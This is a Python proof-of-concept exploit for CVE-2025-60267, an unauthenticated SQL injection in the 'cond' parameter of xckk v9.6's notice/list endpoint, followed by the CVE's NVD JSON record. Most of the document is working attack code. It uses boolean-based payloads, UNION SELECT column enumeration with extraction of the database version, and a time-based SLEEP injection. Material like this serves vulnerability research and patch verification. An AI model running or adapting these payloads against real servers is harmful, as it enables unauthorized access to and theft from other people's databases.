CVE-2025-60267

# CVE-2025-60267 - xckk v9.6 SQL Injection PoC # Vulnerability: SQL injection via cond parameter in notice/list endpoint # Author: Security Researcher import requests import sys TARGET_URL = "http://target-host/notice/list" INJECTION_PARAM = "cond" def check_injection(url, param): """Basic SQL injection detection using boolean-based technique""" # Normal request normal_payload = "1" normal_resp = requests.get(url, params={param: normal_payload}) normal_length = len(normal_resp.text) # Boolean TRUE payload true_payload = "1' AND '1'='1" true_resp = requests.get(url, params={param: true_payload}) true_length = len(true_resp.text) # Boolean FALSE payload false_payload = "1' AND '1'='2" false_resp = requests.get(url, params={param: false_payload}) false_length = len(false_resp.text) if true_length == normal_length and false_length != normal_length: print("[+] Target is vulnerable to SQL injection!") return True else: print("[-] Target may not be vulnerable.") return False def extract_data_union(url, param): """UNION-based SQL injection to extract database version""" # Determine number of columns first for i in range(1, 15): cols = ",".join([str(x) for x in range(1, i+1)]) payload = f"0' UNION SELECT {cols}-- " resp = requests.get(url, params={param: payload}) if resp.status_code == 200 and "error" not in resp.text.lower(): print(f"[+] Number of columns: {i}") # Extract database version version_payload = f"0' UNION SELECT {cols.replace('1', 'version()')}-- " version_resp = requests.get(url, params={param: version_payload}) print(f"[+] Database version info: {version_resp.text[:500]}") break def time_based_injection(url, param): """Time-based blind SQL injection""" import time payload = "1' AND SLEEP(5)-- " start = time.time() resp = requests.get(url, params={param: payload}) elapsed = time.time() - start if elapsed >= 5: print(f"[+] Time-based injection confirmed (delay: {elapsed:.2f}s)") return True return False if __name__ == "__main__": print(f"[*] Testing CVE-2025-60267 against {TARGET_URL}") if check_injection(TARGET_URL, INJECTION_PARAM): extract_data_union(TARGET_URL, INJECTION_PARAM) time_based_injection(TARGET_URL, INJECTION_PARAM)

{"cve": {"id": "CVE-2025-60267", "sourceIdentifier": "[email protected]", "published": "2025-10-09T18:15:49.910", "lastModified": "2025-10-16T15:25:26.627", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In xckk v9.6, there is a SQL injection vulnerability in which the cond parameter in notice/list is not securely filtered, resulting in a SQL injection vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:bestfeng:xckk:9.6:*:*:*:*:*:*:*", "matchCriteriaId": "899D943E-2D17-4659-9A94-83B6CC22A3FF"}]}]}], "references": [{"url": "https://gitee.com/bestfeng/xckk", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/int-ux/report/issues/3", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}